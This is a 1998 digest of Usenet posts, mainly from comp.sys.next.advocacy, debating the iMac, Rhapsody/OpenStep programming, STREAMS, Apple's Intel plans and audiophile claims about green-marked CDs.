References: <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <35e28031.25549037@news.calweb.com> <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net> <joe.ragosta-1908980749270001@wil70.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Joe Ragosta <joe.ragosta@dol.net>
In-Reply-To: <joe.ragosta-1908980749270001@wil70.dol.net>
>
> And I don't see anyone claiming innovativeness for the iMac. That's a
> typical strawman argument.
>
> Lots of people have stated that it's a nice package for the money. I don't
> see any arguments that it's a great innovation--at least not from the Mac
> advocate side.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
>
I thought STeve Jobs saying let the revolution begin was pretty much an
implicit claim for innovation. Maybe he is not a mac advocate, I hear he
was pretty mad at them a few years back, eh?
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stclair.k12.il.us
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 19 Aug 1998 11:41:17 GMT
Organization: Idiom Communications
Message-ID: <6redkt$df$1@news.idiom.com>
References: <6rd076$dc1$1@leol.net-link.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: amazon@net-link.net
"DarkMerlin(JB)" may or may not have said:
-> For those of you who are experienced in NeXT Openstep programming and
-> Rhapsody/MacOSX server Openstep programming what do you think of the
-> changes that have been made. Is it better?
Well, it's good to see it on fast hardware for a change.
-> Is something missing that you really liked?
Yes. The NeXT look and feel was a great deal better than the Macintosh.
Also, only having the one mouse button is *really* irritating.
-> Is there much change at all? Please include you're opinions on MacOS
-> programming and straight NeXT programming.
Well, at the time I switched from Mac to NeXT, (round about 1990-91) I was
surprised by the amount of code that I didn't have to write. Once I knew my
way around the NeXT class libraries, I could do things in about 1/3 the time.
=jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: Eric Levenez <levenez@club-internet.fr>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 19 Aug 1998 11:52:25 GMT
Organization: Tasha Inc.
Message-ID: <6ree9p$53j$1@front5.grolier.fr>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 19 Aug 1998 11:52:25 GMT
Everybody seem to forget that STREAMS is not only for TCP/IP programming,
with STREAMS we have :
- bidirectional pipe (not those horrible unidirectional BSD pipe)
- easy TTY-like functionality on any network kind (ntty...)
- multiple line discipline on TTY (pushable modules)
- standard layers : DLPI, NPI, TPI...
- easily management of LAPB, X.25, ISDN, SNA, SDLC...
- user TCP/IP can easily used IPv6 (no sockaddr stupid limits)
- clean implementation of PPP on TTY (no hack on line discipline)
And the list is not closed.
--
--------------------------------------------------------------------
Éric Lévénez "Felix qui potuit rerum cognoscere causas"
mailto:levenez@club-internet.fr Publius Vergilius Maro,
(NeXTMail, MIME) Georgica, II-489
--------------------------------------------------------------------
From: Nepenthe@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: docks in OSX
Date: Wed, 19 Aug 1998 11:59:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6reenb$5pj$1@nnrp1.dejanews.com>
I'm not sure if anyone has brought this up but for those who are worried
about missing the running app dock at the bottom of the screen from nextstep,
go and take a look at www.macnn.com/reality where there are screenshots of the
latest builds of mac os 8.5 complete with running applications as square tiles
in a dock at the bottom right corner of the screen.
It would seem the feature is a definate yes for OS X (hooray!)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 19 Aug 1998 14:21:59 GMT
Organization: Indiana University, Bloomington
Message-ID: <6ren27$88d$1@jetsam.uits.indiana.edu>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-180 <tim-1908980821320001@jump-tnt-0176.customer.jump.net>
In article <tim-1908980821320001@jump-tnt-0176.customer.jump.net>,
Tim Olson <tim@jumpnet.com> wrote:
>
>I wrote:
>
>| > If you throw science and engineering away based upon what you *think* you
>| > hear (without any scientific method to back it up) you shouldn't consider
>| > yourself an engineer or scientist.
>
>In article <joe.ragosta-1908980807560001@wil70.dol.net>,
>joe.ragosta@dol.net (Joe Ragosta) replied:
>
>| Not true.
>|
>| I'm a scientist. While throwing science and engineering away isn't
>| appropriate, a long-standing tradition in science is observation. In fact,
>| observation as a part of the scientific principle goes back at least as
>| far as Aristotle.
>
>That doesn't contradict what I said: "... (without any scientific method
>to back it up)". Raw observation without scientific method guiding it is
>pretty useless.
Double-blind studies are the way I would have begun. That, and a spectrum
analysis of normal CDs compared to green CDs, to see if there are any
obvious differences.
--
"Those aren't walls, Peter. Those are steps." -- Spengler
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 19 Aug 1998 14:20:54 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ren06$ouu$1@news.spacelab.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcjt8$3hv$1@callisto.acsu.buffalo.edu>
scholl@callisto.acsu.buffalo.edu (Edward P Scholl) wrote:
[ ... ]
>i believe lasers are pretty much visible light by definitiion... someone
>can correct me if i'm wrong/ there might be other types of lasers.
The L in laser means "Light", not just "visible light"; you can use the term
with IR and UV frequency light as well. However, there are other terms when
you change the spectrum a whole lot-- eg, the maser which works at microwave
frequencies....
>anyways, even w/ a visible light laser, you wouldn't be able to see the
>beam itself unless there was something in the air (dust, smoke, water
>vapor, etc) diffracting it.
True.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 13:57:43 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6relkn$nor@newsb.netnews.att.com>
References: <35D45C80.38A0C880@ericsson.com> <6raopr$23t@news1.panix.com> <6rc5gp$gci$1@nnrp02.primenet.com> <6rdmoe$drt@news1.panix.com>
Originator: gupta@tlctest
http://wdb1.sco.com/chwp/owa/hch_search
is a web-page from which you can search for SCO compatible
hardware.
Choosing Toshiba, Computer Systems, Unixware 7, gives a list
of about a dozen Toshiba models that have been tested and
certified by SCO.
( Other possibilities for models include :
* reported by vendor to work with SCO
* supported by vendor
* additional software required from SCO
* currently uncertified for this SCO release
)
I wonder what it would take for Apple to maintain a similar program
for Rhapsody on Intel.
-arun gupta
Date: Wed, 19 Aug 1998 10:20:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Message-ID: <joe.ragosta-1908981020240001@wil64.dol.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net>
In article <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> > > MacOSX Server runs on Intel. Apple has not committed to ongoing Intel
> > > support, but if sales warrant it they will.
> >
> > Funny how you speak for Apple.
>
> I would think this is a self-evident statement. To take it to the
> extreme - if 100% of the Window PC market buys MacOSX Server on Intel,
> do you imagine for a minute that they'll say "Well, it'd be nice to be
> the biggest software company on the planet, but even though we did a
> Intel version, we don't like Intel so we're not going to continue with
> this"?
>
> Now, just what /exactly/ "sales warrant it" would mean is a whole
> 'nother question.
You're right.
However, pre-announcing Rhapsody for PC Compatibles was hardly the way to
garner enough sales to justify its continued existence.
If enough people buy Rhapsody for PC Compatibles for Apple to reverse its
stance on this, it will be more surprising than anything I've seen in this
industry for years.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Newsgroups: comp.sys.next.advocacy
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com> <6rdoq7$4fl$1@news.digifix.com>
Message-ID: <35daf168.0@news.depaul.edu>
Date: 19 Aug 98 15:38:16 GMT
Scott Anguish <sanguish@digifix.com> wrote:
> From a programming standpoint, the changes to the existing
> OpenStep APIs are minimal. There are many new additions that are very
> much a positive thing.
> We get goodies like NSDocument, the forthcoming NSUrl and all
> the general URL support thoughout the classes. HTML support in NSText
> and NSAttributedStrings. IB has definately moved along. Java
> integration is great.
And scripting coming up, too, implemented using Key-Value Coding. That'll
be nice. I've been thinking that scripting - perhaps combined with
Services - would work quite well in combination with voice-recognition.
I'm not a big fan of the 'voice-as-primary-UI' concept, but it could
be very useful if the user could verbally ask for something while
working on something else. For instance the user might be working
on a spreadsheet, but could verbally ask the computer to print a
particular document, which would happen without ever leaving the
spreadsheet.
This would be cool if the computer were interfaced with a high
capacity music CD changer, or MP3 Jukebox. "Put on something by
Over the Rhine or Garbage". "Play Colossal Head". "Play it again,
Sam". Ask "What song was that?" and a window pops up with artist,
album, and song title.
> We've gone from a situation where much of what we're working
> with was stagnant and not moving forward to where we're now getting
> more functionality.
Agreed.
> My only concern is that new capabilities are continued to be
> made available via native YB classes or bridged Java Classes, and not
> only non-OO Carbon APIs.
I would be more concerned if those API's are part of Carbon, and
not available on Windows. That's far worse than merely being
non-OO. Non-OO API's are certainly nothing new for NeXT or OpenStep,
though they've gotten rarer since the advent of OpenStep. 3DKit
demonstrates what can be built on top of a non-OO API.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: redgate@oklahoma.net (Kirk Kerekes)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:57:29 -0500
Organization: Red Gate Ranch
Message-ID: <redgate-1908981057290001@aux163.tulsa.oklahoma.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>
<hP%ob3^U4%o}qRGqBNuJK@W">LQTa@'luFi+,UZd9e2j]V3uurUSYt$Rd3K
In article <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
. In article <joe.ragosta-1708981315410001@0.0.0.0>, joe.ragosta@dol.net
. (Joe Ragosta) wrote:
.
. > In article <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>,
. > gmgraves@slip.net (George Graves) wrote:
. >
. > > In article <joe.ragosta-1708980656280001@elk81.dol.net>,
. > > joe.ragosta@dol.net (Joe Ragosta) wrote:
. > >
. > > > But that's my point. If the error correction measurements are unchanged,
. > > > the color couldn't possibly make a difference. If the laser sends
. > > > 010011010110101.... to the DAC, it doesn't matter one whit whether those
. > > > bits per picked up with a red laser, with a filtered laser, or with a
. > > > PlaySchool player.
. > > >
. > > > The only possible explanation would be if the green magic marker reduced
. > > > (or increased) the number of errors--and this should be easily
. > > > quantifiable.
. > >
. > >
. > > There is, however, another explanantion. We don't understand all we
. know about
. > > the process of digitizing audio. I mean, based on your assumption, the
. cabel
. > > between the CD transport and the outboard D/A converter shouldn't make any
. > > difference to the sound either - but it does.
. >
. > Again, you'd have to show evidence that it does.
.
. I've run the experiment. You can too. Its easy. Get a CD player (hopefully
. a good one) and a decent outboard D/A converter. Pick a CD you know
. reasonably well and get a bunch of interconnects. Get some cheap RCA
. to RCA, some expensive ones (like Monster sells) and some "digital"
. cables from Cardas and Vampyre, as well as a TOSLINK cable, and if
. the CD player and the D/A can accommodate it, an AT&T glass fiber
. optical cable. Now change them out while listening. Guess what? They
. ALL sound slightly different.
Guess what -- if you _think_ they are going to sound different, they will.
--
Kirk and Diane Kerekes/Red Gate Ranch
X-Face by "Saving Face" <http://www.santafe.edu/~smfr/utils.html>
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 08:50:02 -0700
Organization: University of British Columbia
Message-ID: <1ddzy4d.o1p38vbdfgziN@p054.intchg1.net.ubc.ca>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6rdask$ndp$1@hecate.umd.edu>
<davewang@wam.umd.edu.delete.after.edu> wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
<snippage>
> : There are lots of benchmarks. Calling Jobs a liar because he chose a
> : benchmark that you personally don't like is a pretty clear indication of
> : your bias.
>
> I think we all know what Steve Jobs means, and the impression that he wants
> to convey. I suppose that it's "technically true".
>
> Then again, the president didn't have a "Sexual relation" with "that woman"
> either. They're both meant to mislead and convey an impression that isn't
> true.
In the dense fog of marketing, anyone introducing a product that boasts
a "mere" 233 MHz CPU has an uphill task to convince the general public
that it's not slower than, say, its 266 MHz, 300 MHz ("or more!")
competition.
Jobs has done that. From a PC mag:
> Apple Computer says its low-cost iMac, which debuted this
> weekend, is 40 percent faster than systems based on Intel's
> 400-MHz Pentium II processor. The hype-heavy iMac uses a
> 233-MHz Motorola PowerPC, or G3, processor, which Apple says
> outperforms the fastest PC available. But analysts and
> benchmark experts say that claim may not present a full
> picture. ^^^^^^^^^^^^^^^^^^^^^^
^^^^^^^
Heh. Speaking of not presenting the full picture: the ensuing article,
though sensible enough in its discussion of selective benchmarking and
applications speed, completely overlooks the most important numbers: a
complete iMac ("monitor *not* sold separately") costs around US $1300,
while a 400 MHz Pentium II will set you back half that for the CPU chip
alone.
Fact is, whoever has a remotely plausible mass-market OS that will run
on the current PowerPC (cooler, faster, and above all *cheaper*) has a
license to print money. Anticipation of the coming year, in which Apple
will have access to even greater CPU speed advantages and (finally!) a
thoroughly credible modern OS, is helping to push its share prices
higher.
Question is, can Jobs come up with a one-liner that'll have the tech
press pointing out that the hype-heavy Mac OS X doesn't really
outperform NT Workstation by a factor of ten...
--
Bruce Bennett
From: Gordon Mulcaster <see@my.sig.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 98 18:11:45 -0800
Organization: Megadodo Publishing, Megadodo House, Ursa Minor
Distribution: world
Message-ID: <980818180942-see@my.sig.com>
References: <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35d99c53.3859454@198.0.0.100>
In article <35d99c53.3859454@198.0.0.100> of groups
alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys
next.advocacy,comp.sys.mac.hardware.misc, nate writes:
> So my PII 300 with a regular 2d card (millennium II) is faster at
> Quake at 640x480 than a G3 300 with a voodoo card?
Quake was writen specifically for the Intel Pentium CPU. It does much
worse on a 486 than it should (based on raw speed differences) too. If
Quake is your goal, get a P-whatever.
If ease of use and productivity using "normal" apps is your goal, use a
Mac.
--
... of course that's just my opinion. I could be wrong."
-- Dennis Miller
gordonm(at)portal.ca
From: hcdejong@introweb.nl (Harro de Jong)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Wed, 19 Aug 1998 18:48:05 +0200
Organization: Acme, Inc.
Message-ID: <1de0t9n.6e2hi61nfsscoN@mod26.introweb.nl>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>
Cache-Post-Path: proxy.introweb.nl!unknown@mod26.introweb.nl
> In article <6racqh$its$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke)
> wrote:
>
> >
> > Most studios have two pairs of speakers: big huge ones in the back that
> > boom a lot and impress the bigwigs when they want to hear what they paid
> > for, and small, almost consumer-grade, near field studio monitors that
> > are still reasonably flat but are closer to their intended audience.
> > These monitors cost between $250 and $1000, depending on the model. The
> > most common are Yamaha NS10s (but getting up in age now), but there are
> > tons of JBLs, Tascams, etc. out there.
Erm, no. In my (limited) experience, studios do have 2 sets of speakers.
A good set (usually large, expensive and totally unsuitable for consumer
use-an exception being the Quad ESL-63) which they use to accurately
monitor the recording or transmission that's going on, and a cheaper set
(usually the nearfield speakers you mentioned) on which they check how
it would sound on those crap systems the intended audience has.
--
Harro de Jong
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 12:47:28 -0400
Organization: phenix@interpath.com
Message-ID: <1de0bq0.17ooe6h176d7isN@roxboro0-031.dyn.interpath.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com> <35D31040.A87A3529@ericsson.com> <slrn6t6hcj.igg.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <1de04hl.63ghpy7uznp3N@roxboro0-031.dyn.interpath.net> <joe.ragosta-1908981020240001@wil64.dol.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
Joe Ragosta <joe.ragosta@dol.net> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > Michael Peck <Michael.Peck@ericsson.com> wrote:
> >
> > > > MacOSX Server runs on Intel. Apple has not committed to ongoing
> > > > Intel support, but if sales warrant it they will.
> > >
> > > Funny how you speak for Apple.
> >
> > I would think this is a self-evident statement. To take it to the
> > extreme - if 100% of the Window PC market buys MacOSX Server on Intel,
> > do you imagine for a minute that they'll say "Well, it'd be nice to be
> > the biggest software company on the planet, but even though we did a
> > Intel version, we don't like Intel so we're not going to continue with
> > this"?
> >
> > Now, just what /exactly/ "sales warrant it" would mean is a whole
> > 'nother question.
>
> You're right.
>
> However, pre-announcing Rhapsody for PC Compatibles was hardly the way to
> garner enough sales to justify its continued existence.
>
> If enough people buy Rhapsody for PC Compatibles for Apple to reverse its
> stance on this, it will be more surprising than anything I've seen in this
> industry for years.
I was just trying to correct a common error on advocacy group - i.e. not
speaking precisely, and attacking the person not the statement. Sal
says that it runs on PC's, and if the sales warrant it apple will
support it, Peck poo-paas this by saying that Sal doesn't represent
apple. One could say that Sal wasn't precise enough (should have said
HE was sure that if sales warranted it...), but Peck was even more off
base - it's inconceivable that they wouldn't support it for a sufficient
return. He should have attacked the idea (as you did) that they might
sale enough to change their minds about dropping it, given it's
lackluster marketing, and the negative implications that they have made
(i.e. that they probably aren't going to support it).
Personally I don't believe that the sales will warrant it, and believe
that since the decision has already been made a reversal of the decision
would take extraordinary sales - by which I mean that even if it does
enough business to justify it's continuation, it won't be enough to
justify changing their minds. (So if X sales are profitable and enough
to keep it going, it will take X*2 or 3 to get them to change their
mind). I also believe that given the marketing they are unlikely to
sell even X.
--
John Moreno
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 08:21:31 -0500
Organization: none
Message-ID: <tim-1908980821320001@jump-tnt-0176.customer.jump.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <joe.ragosta-1908980807560001@wil70.dol.net>
I wrote:
| > If you throw science and engineering away based upon what you *think* you
| > hear (without any scientific method to back it up) you shouldn't consider
| > yourself an engineer or scientist.
In article <joe.ragosta-1908980807560001@wil70.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) replied:
| Not true.
|
| I'm a scientist. While throwing science and engineering away isn't
| appropriate, a long-standing tradition in science is observation. In fact,
| observation as a part of the scientific principle goes back at least as
| far as Aristotle.
That doesn't contradict what I said: "... (without any scientific method
to back it up)". Raw observation without scientific method guiding it is
pretty useless.
--
-- Tim Olson
From: ajmas@bigfoot.com
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac question...
Date: Wed, 19 Aug 1998 13:07:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rein0$aa3$1@nnrp1.dejanews.com>
References: <35D777E5.C9A694E3@shinbiro.com>
To: chobros@shinbiro.com
In article <35D777E5.C9A694E3@shinbiro.com>,
Brian Cho <chobros@shinbiro.com> wrote:
> Is there a port to hook up a Zip drive? or a Spark Drive (only heard
> about that from my friend). Maybe iMac doesn't have a floppy, so people
> will just go out and hook up these 100MB-1GB drives?
>
Yes - it just requires a different approach from the usual. If you already
have a ZIP drive, or any other SCSI device for that matter, you should be
able to find a SCSI-USB adapator for sale somewhere. If you are planning to
buy an external device, then visit Apple's iMac page:
http://www.apple.com/imac/
And click on the USB link. This shows you a hilite of some of the USB devices
on the market, or due on the market very soon.
AJ
--
http://www.bigfoot.com/~ajmas/
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 19 Aug 1998 14:37:02 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6renue$ouu$2@news.spacelab.net>
References: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net> <tim-1808981657170001@jump-tnt-0044.customer.jump.net>
tim@jumpnet.com (Tim Olson) wrote:
>In article <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>,
>gmgraves@slip.net (George Graves) wrote:
>> Yes but its coming from a MECHANICAL storage device. Unless the motor and
>> the 'turntable' spining that disc is perfect and free from any speed
>> variation at all, then the bit stream is going to be all over the place.
>
>Sure, it's not going to be perfect -- it doesn't have to be. That's what
>the FIFO between the disc and the DAC is for.
Agreed.
>> Reclocking circuits such as FIFOs tend to drop bits and then close-up the
>> spaces, so they introduce as much bit stream error as they correct.
>
>George, what are you talking about?
>
>The data coming from the disc has a clock encoded in the stream. These
>samples are fed into a FIFO and are clocked out at a fixed, constant rate
>to the DAC. A control feedback loop adjusts the data rate from the disc
>to maintain an average FIFO depth. No samples are dropped, unless they
>are part of a block error.
Also agreed. The samples are absolutely _supposed_ to be fed to the DAC at a
constant rate. However, it seems that some players do a worse job than
others at maintaining that time interval precision.
This gained some recognition after the digital output formats like SP/DIF
started appearing on equipment, and more people started looking at the
precision of that timing and discovering that sometimes an external DAC that
properly reclocked the data stream was clearly superior to the one inside the
CD player itself. That's when people who care about audio started thinking
about "jitter" and what it means for the music....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: 19 Aug 1998 14:51:16 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6reop4$p39$1@news.spacelab.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <6ra04l$akc$1@news.spacelab.net> <joe.ragosta-1708981614510001@wil78.dol.net> <6ra5vg$b9h$1@news.spacelab.net> <6ra8ca$3l4$1@ec.arbat.com> <6rabft$bk9$1@news.spacelab.net> <35D8D977.470@all.org>
Nonnaho <NoBrains@all.org> wrote:
>Charles W. Swiger wrote:
[ ... ]
>> The timing change would not be because a reflection was delayed by the amount of
>> time it took that light to bounce around inside the CD.
>>
>> The photoreceptor outputs a continually varying voltage according to the amount of
>> light it receives in the frequencies it's sensitive to. Even a fairly low level of
>> ambient light would affect the timing somewhat, and this could matter if that
